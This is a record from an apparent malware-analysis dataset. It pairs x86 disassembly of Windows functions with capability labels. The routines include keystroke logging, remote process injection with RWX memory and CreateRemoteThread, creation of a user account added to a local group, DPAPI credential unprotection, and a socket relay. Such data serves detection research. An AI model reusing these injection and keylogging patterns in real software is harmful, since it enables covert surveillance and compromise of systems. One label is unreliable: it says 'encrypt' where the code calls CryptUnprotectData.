joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3ed83b0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x3ed853b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.03ed81d4
mov eax, dword [0x3f2dbb4]
cmp byte [eax], 0
je 0x3ed8435
mov eax, dword [0x3f2dffc]
mov eax, dword [eax]
call fcn.03ed82a8
test al, al
je 0x3ed8513
call sub.user32.dll_GetForegroundWindow
mov esi, eax
push dword [ebp - 8]
push 0x3ed8554
lea eax, [ebp - 0x14]
call fcn.03e6ec68
push dword [ebp - 0x14]
push 0x3ed8564
lea edx, [ebp - 0x18]
mov eax, 0x3ed8578
call fcn.03e6e08c
push dword [ebp - 0x18]
push 0x3ed8588
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.03cb9074
jmp 0x3ed8461
xor esi, esi
push dword [ebp - 8]
push 0x3ed85a4
lea edx, [ebp - 0x1c]
mov eax, 0x3ed85b4
call fcn.03e6e08c
push dword [ebp - 0x1c]
push 0x3ed85c4
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.03cb9074
mov dl, 1
mov eax, dword [0x3d2d3f4]
call fcn.03cb60c0
mov ebx, eax
mov eax, esi
call fcn.03ebf4a8
mov edx, eax
mov eax, ebx
call fcn.03ebf5ac
push 0
push 0
mov eax, ebx
call fcn.03d4eacc
mov dl, 1
mov eax, dword [0x3d2d3f4]
call fcn.03cb60c0
mov dword [ebp - 0x10], eax
push ebx
lea eax, [ebp - 0x10]
push eax
xor ecx, ecx
xor edx, edx
mov eax, 0x32
call fcn.03ebf93c
push 0
push 0
mov eax, dword [ebp - 0x10]
call fcn.03d4eacc
mov eax, ebx
call fcn.03cb60f0
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx]
mov edx, eax
lea eax, [ebp - 4]
call fcn.03cb8f14
mov eax, dword [ebp - 4]
test eax, eax
je 0x3ed84dc
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebp - 4]
mov ecx, eax
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x10]
call fcn.03cb60f0
call fcn.03cdcc38
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.03e6e858
push 2
mov eax, dword [ebp - 0xc]
call fcn.03cb8d98
push eax
call sub.kernel32.dll_SetFileAttributesW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3ed8542
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.03cb7eb0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.03cb7eb0
ret
Function at 0x3ee6390
Capabilities:
Create raw socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ebx
push 0xff
push 3
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov dword [0x3f38259], ebx
inc ebx
jne 0x3ee63b4
xor eax, eax
call fcn.03cb7c74
push 4
push 0x3ee63d8
push 2
push 0
mov eax, dword [0x3f38259]
push eax
call sub.wsock32.dll_setsockopt
test eax, eax
je 0x3ee63d5
xor eax, eax
call fcn.03cb7c74
pop ebx
pop ebp
ret

Function at 0x3ee6420
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push esi
call sub.wsock32.dll_inet_addr
mov ebx, eax
mov dword [ebp - 4], ebx
mov eax, ebx
cdq
cmp edx, 0
jne 0x3ee6464
cmp eax, 0xffffffff
jne 0x3ee6464
push esi
call sub.wsock32.dll_gethostbyname
mov ebx, eax
test ebx, ebx
jne 0x3ee6453
xor eax, eax
call fcn.03cb7c74
movsx ecx, word [ebx + 0xa]
lea edx, [ebp - 4]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
call fcn.03cb5330
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x3ee66ec
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, edx
mov esi, eax
test bl, bl
jne 0x3ee670c
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [0x3f2ab40]
cmp esi, eax
jbe 0x3ee670c
xor eax, eax
jmp 0x3ee670e
mov al, 1
mov ebx, eax
test bl, bl
je 0x3ee671e
call sub.kernel32.dll_GetTickCount_1
mov dword [0x3f2ab40], eax
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x3ef18e8
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.03cba4bc
xor eax, eax
push ebp
push 0x3ef19e9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
xor ecx, ecx
mov edx, 8
call fcn.03cb5b68
lea eax, [ebp - 0x18]
xor ecx, ecx
mov edx, 8
call fcn.03cb5b68
test ebx, ebx
je 0x3ef1946
mov dword [ebp - 0x1c], ebx
mov eax, ebx
test eax, eax
je 0x3ef193e
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
jmp 0x3ef1948
xor esi, esi
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x3ef195a
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push esi
push 0
lea eax, [ebp - 0x10]
push eax
call sub.crypt32.dll_CryptUnprotectData
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
jne 0x3ef199e
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push 0
push esi
push 0
lea eax, [ebp - 0x10]
push eax
call sub.crypt32.dll_CryptUnprotectData
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp bl, 1
jne 0x3ef19cd
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
mov ecx, 1
mov edx, dword [0x3cb2c58]
call fcn.03cba318
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 8]
mov edx, dword [edx]
call fcn.03cb5330
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3ef19f0
lea eax, [ebp - 4]
mov edx, dword [0x3cb2c58]
call fcn.03cba43c
ret
Function at 0x3ef1e74
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x3ef1f05
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x100]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 0x108]
lea eax, [ebp - 0x100]
call fcn.03cd3f84
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 0x104]
call fcn.03cb8e58
mov edx, dword [ebp - 0x104]
mov eax, ebx
mov ecx, 0xfde9
call fcn.03cb89c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3ef1f0c
lea eax, [ebp - 0x108]
call fcn.03cb7e74
lea eax, [ebp - 0x104]
call fcn.03cb7e50
ret
Function at 0x3ef5458
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp bl, 0x90
jne 0x3ef54ad
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x3ef5498
and byte [ebp - 0x72], 0xfe
jmp 0x3ef549c
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x3ef5534
push 0
movzx eax, bl
push eax
call sub.user32.dll_MapVirtualKeyW
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x3ef5534
mov eax, ebx
movzx eax, al
bt dword [0x3f2d509], eax
jae 0x3ef5502
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.03ef540c
pop ecx
cmp byte [ebp - 1], 0
je 0x3ef552f
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.03ef540c
pop ecx
jmp 0x3ef552f
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.03ef540c
pop ecx
cmp byte [ebp - 1], 0
je 0x3ef552f
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.03ef540c
pop ecx
dec si
jne 0x3ef54c2
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x3ef553c
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
push 0
movzx eax, bl
push eax
call sub.user32.dll_MapVirtualKeyW
and al, 0xff
mov edx, ebx
movzx edx, dl
bt dword [0x3f2d509], edx
jae 0x3ef5570
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.03ef540c
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.03ef540c
pop ecx
pop ebx
pop ebp
ret
Function at 0x3ef6030
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
cmp byte [ebx + 0xd], 0
je 0x3ef604e
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 0xffffffff
je 0x3ef604e
mov byte [ebx + 0xd], 0
pop ebx
pop ebp
ret

Function at 0x3ef74d4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 8]
push eax
push esi
mov eax, dword [ebp - 4]
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x3ef7510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.03ef74d4
mov esi, eax
mov eax, edi
call fcn.03ef74ac
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.03ef74d4
lea edx, [ebp - 8]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x3ef7576
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x3ef7584
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
push 0x40
push 0x3000
mov eax, ebx
call fcn.03cb8358
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
mov eax, ebx
call fcn.03cb8358
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x3ef7bf0
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x3ef7d1a
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x44
call fcn.03cb5b68
push ebx
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push edi
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x3ef7cfc
mov esi, dword [ebx]
call fcn.03ef7ab8
mov eax, dword [ebx + 8]
call fcn.03ef7b48
cmp al, 1
jne 0x3ef7cf5
push 0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, ebx
xor ecx, ecx
mov edx, 0x10
call fcn.03cb5b68
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x44
call fcn.03cb5b68
push ebx
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x4c]
mov eax, 0x25
call fcn.03e6eab4
lea eax, [ebp - 0x4c]
mov edx, 0x3ef7d38
call fcn.03cb8f94
mov edx, dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
mov ecx, 0
call fcn.03cb89c4
mov eax, dword [ebp - 0x48]
call fcn.03cb8888
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x3ef7cd6
mov esi, dword [ebx]
jmp 0x3ef7cf5
mov eax, ebx
xor ecx, ecx
mov edx, 0x10
call fcn.03cb5b68
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x44
call fcn.03cb5b68
xor esi, esi
push 0x64
call sub.kernel32.dll_Sleep_2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3ef7d21
lea eax, [ebp - 0x4c]
call fcn.03cb7e50
lea eax, [ebp - 0x48]
call fcn.03cb7e74
ret
Function at 0x3efa304
Capabilities:
List groups for user account

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x3efa3a3
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 1
push 0
mov eax, ebx
call fcn.03cb8abc
push eax
push 0
call sub.netapi32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x3efa38d
cmp dword [ebp - 0x10], 0
je 0x3efa38d
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 8]
dec ebx
test ebx, ebx
jl 0x3efa384
inc ebx
lea eax, [ebp - 4]
mov edx, dword [esi]
call fcn.03cb8a44
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.03cb8e78
add esi, 4
dec ebx
jne 0x3efa36a
mov eax, dword [ebp - 0x10]
push eax
call sub.netapi32.dll_NetApiBufferFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3efa3aa
lea eax, [ebp - 4]
call fcn.03cb7e98
ret

Function at 0x3efa4a8
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x3efa567
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x20
call fcn.03cb504c
mov esi, eax
mov ebx, esi
lea eax, [ebp - 0xc]
mov edx, edi
call fcn.03cb8e8c
mov eax, dword [ebp - 0xc]
call fcn.03cb8abc
mov dword [ebx], eax
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.03cb8e8c
mov eax, dword [ebp - 0x10]
call fcn.03cb8abc
mov dword [ebx + 4], eax
xor eax, eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], 1
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x18], 0x10000
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
mov ebx, esi
push ebx
push 1
push 0
call sub.netapi32.dll_NetUserAdd
push 1
push ebx
push 3
push 0x3efa578
push 0
call sub.netapi32.dll_NetLocalGroupAddMembers
mov eax, esi
call fcn.03cb5068
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3efa56e
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.03cb7f10
ret
Function at 0x3efa598
Capabilities:
List user accounts

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], edx
mov esi, eax
lea edi, [ebp - 0x10]
xor eax, eax
push ebp
push 0x3efa6fe
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 1
push 0
call sub.netapi32.dll_NetUserEnum
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [edi], eax
mov ebx, dword [ebp - 8]
dec ebx
test ebx, ebx
jl 0x3efa6b0
inc ebx
push edi
push 1
mov eax, dword [edi]
mov eax, dword [eax]
push eax
push 0
call sub.netapi32.dll_NetUserGetInfo
test eax, eax
jne 0x3efa63b
mov eax, dword [edi]
mov eax, dword [eax + 0x18]
and eax, 2
cmp eax, 2
je 0x3efa62e
lea eax, [ebp - 4]
mov edx, 0x3efa718
call fcn.03cb8278
jmp 0x3efa63b
lea eax, [ebp - 4]
mov edx, 0x3efa734
call fcn.03cb8278
push dword [esi]
lea edx, [ebp - 0x20]
mov eax, dword [edi]
mov eax, dword [eax]
call fcn.03cb9cac
push dword [ebp - 0x20]
push 0x3efa750
lea edx, [ebp - 0x2c]
mov eax, dword [edi]
mov eax, dword [eax]
call fcn.03cb9cac
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
call fcn.03cb8e8c
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.03efa304
push dword [ebp - 0x24]
push 0x3efa760
push dword [ebp - 4]
push 0x3efa770
lea edx, [ebp - 0x30]
mov eax, dword [edi]
mov eax, dword [eax + 0x14]
call fcn.03cb9cac
push dword [ebp - 0x30]
push 0x3efa780
push 0x3efa790
mov eax, esi
mov edx, 0xa
call fcn.03cb9074
dec ebx
jne 0x3efa5ff
cmp dword [ebp - 0x1c], 0xea
je 0x3efa5cd
mov eax, dword [ebp - 0x14]
push eax
call sub.netapi32.dll_NetApiBufferFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3efa705
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.03cb7eb0
lea eax, [ebp - 0x28]
call fcn.03cb7e98
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.03cb7eb0
lea eax, [ebp - 4]
call fcn.03cb7e50
ret
Function at 0x3efb000
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
xor ecx, ecx
mov dword [ebp - 0x408], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.03cb7f34
xor eax, eax
push ebp
push 0x3efb0cf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.03cb7e50
lea eax, [ebp - 0x404]
xor ecx, ecx
mov edx, 0x200
call fcn.03cb5b68
cmp byte [0x3f38388], 0x40
jne 0x3efb07e
movzx eax, byte [0x3efb0dc]
push eax
lea eax, [ebp - 0x408]
push eax
mov ecx, 0x3efb0ec
mov edx, 0x3efb118
mov eax, dword [ebp - 4]
call fcn.03cda388
mov edx, dword [ebp - 0x408]
lea eax, [ebp - 4]
call fcn.03cb8278
push 0x200
lea eax, [ebp - 0x404]
push eax
mov eax, dword [ebp - 4]
call fcn.03cb8d98
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsW
test eax, eax
jbe 0x3efb0ae
mov eax, ebx
lea edx, [ebp - 0x404]
mov ecx, 0x200
call fcn.03cb8e3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3efb0d6
lea eax, [ebp - 0x408]
call fcn.03cb7e50
lea eax, [ebp - 4]
call fcn.03cb7e50
ret

Function at 0x3efc688
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x3efc7a8
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 6
call fcn.03e6f83c
test al, al
je 0x3efc78d
lea eax, [ebp - 4]
call fcn.03ed23b0
mov eax, dword [ebp - 4]
mov edx, 0x3efc7c4
call fcn.03cb9124
jne 0x3efc78d
call fcn.03ed2e48
test al, al
je 0x3efc6df
mov byte [0x3f38388], 0x40
call fcn.03efac44
test al, al
je 0x3efc78d
cmp byte [0x3f38388], 0x40
jne 0x3efc6fa
call fcn.03efaf60
call fcn.03efbfac
mov eax, 0x3efc7ec
call fcn.03e6ef58
push 0x1f4
call sub.kernel32.dll_Sleep_2
mov eax, 0x3efc81c
call fcn.03ec492c
push 0x1f4
call sub.kernel32.dll_Sleep_2
cmp byte [0x3f38388], 0x40
jne 0x3efc735
call fcn.03efbf10
xor eax, eax
call fcn.03efb470
xor eax, eax
call fcn.03efbd28
mov eax, 0x3efc840
call fcn.03ec4840
push 0xbb8
call sub.kernel32.dll_Sleep_2
lea edx, [ebp - 0xc]
mov eax, 0x35
call fcn.03e6eab4
lea eax, [ebp - 0xc]
mov edx, 0x3efc864
call fcn.03cb8f94
mov eax, dword [ebp - 0xc]
call fcn.03cb8d98
mov edx, eax
lea eax, [ebp - 8]
call fcn.03cb8e00
mov eax, dword [ebp - 8]
mov dl, 1
call fcn.03eaf060
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3efc7af
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.03cb7eb0
ret
Function at 0x3efc870
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
add ebx, ebx
inc ebx
test ebx, ebx
js 0x3efc88c
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x3efc885
mov edx, esp
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
xor edi, edi
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0x8004667e
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_ioctlsocket
test esi, esi
jle 0x3efc8d5
push 0
push esi
mov eax, dword [ebp - 8]
lea eax, [eax + edi*2]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_send
mov ebx, eax
test ebx, ebx
jle 0x3efc8d5
add edi, ebx
sub esi, ebx
test esi, esi
jg 0x3efc8b4
mov eax, edi
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4

Function at 0x3efc8e8
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffeec
push ebx
push esi
push edi
mov edx, dword [eax]
mov dword [ebp - 0xc], edx
mov edx, dword [eax + 4]
mov dword [ebp - 8], edx
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x1114]
call fcn.03ed5a80
lea edx, [ebp - 0x1114]
mov eax, ebx
call fcn.03ed5a70
lea edx, [ebp - 0x1114]
mov eax, esi
call fcn.03ed5a70
push 0
push 0
push 0
lea eax, [ebp - 0x1114]
push eax
push 0
call sub.wsock32.dll_select
mov edi, eax
test edi, edi
jg 0x3efc961
push ebx
call sub.wsock32.dll_closesocket
push esi
call sub.wsock32.dll_closesocket
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x3efca6f
lea edx, [ebp - 0x1114]
mov eax, ebx
call fcn.03ed5a58
test al, al
je 0x3efc9dc
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push ebx
call sub.wsock32.dll_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x3efc9a5
push ebx
call sub.wsock32.dll_closesocket
push esi
call sub.wsock32.dll_closesocket
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x3efca6f
mov eax, dword [ebp - 0x10]
push eax
lea edx, [ebp - 0x1010]
mov ecx, 0x7ff
mov eax, esi
call fcn.03efc870
mov edi, eax
test edi, edi
je 0x3efc9c6
cmp edi, dword [ebp - 0x10]
je 0x3efc9dc
push ebx
call sub.wsock32.dll_closesocket
push esi
call sub.wsock32.dll_closesocket
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x3efca6f
lea edx, [ebp - 0x1114]
mov eax, esi
call fcn.03ed5a58
test al, al
je 0x3efc90c
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call sub.wsock32.dll_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x3efca21
push ebx
call sub.wsock32.dll_closesocket
push esi
call sub.wsock32.dll_closesocket
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x3efca6f
mov eax, dword [ebp - 0x10]
push eax
lea edx, [ebp - 0x1010]
mov ecx, 0x7ff
mov eax, ebx
call fcn.03efc870
mov edi, eax
test edi, edi
je 0x3efca46
cmp edi, dword [ebp - 0x10]
je 0x3efc90c
push ebx
call sub.wsock32.dll_closesocket
push esi
call sub.wsock32.dll_closesocket
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x3efca6f
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3efca7c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x3efca9f
xor eax, eax
jmp 0x3efcacd
mov word [ebp - 0x10], 2
push edi
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov dword [ebp - 0xc], esi
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
inc eax
jne 0x3efcacb
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
jmp 0x3efcacd
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x3efcd9c
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
lea eax, [ebp - 0x190]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
sete al
mov esp, ebp
pop ebp
ret

Function at 0x3efcdc0
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
mov eax, ebx
call fcn.03cb7e50
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 5
push edi
push esi
call sub.wtsapi32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x3efcdfe
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.03cd3f9c
mov eax, dword [ebp - 4]
push eax
call sub.wtsapi32.dll_WTSFreeMemory
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret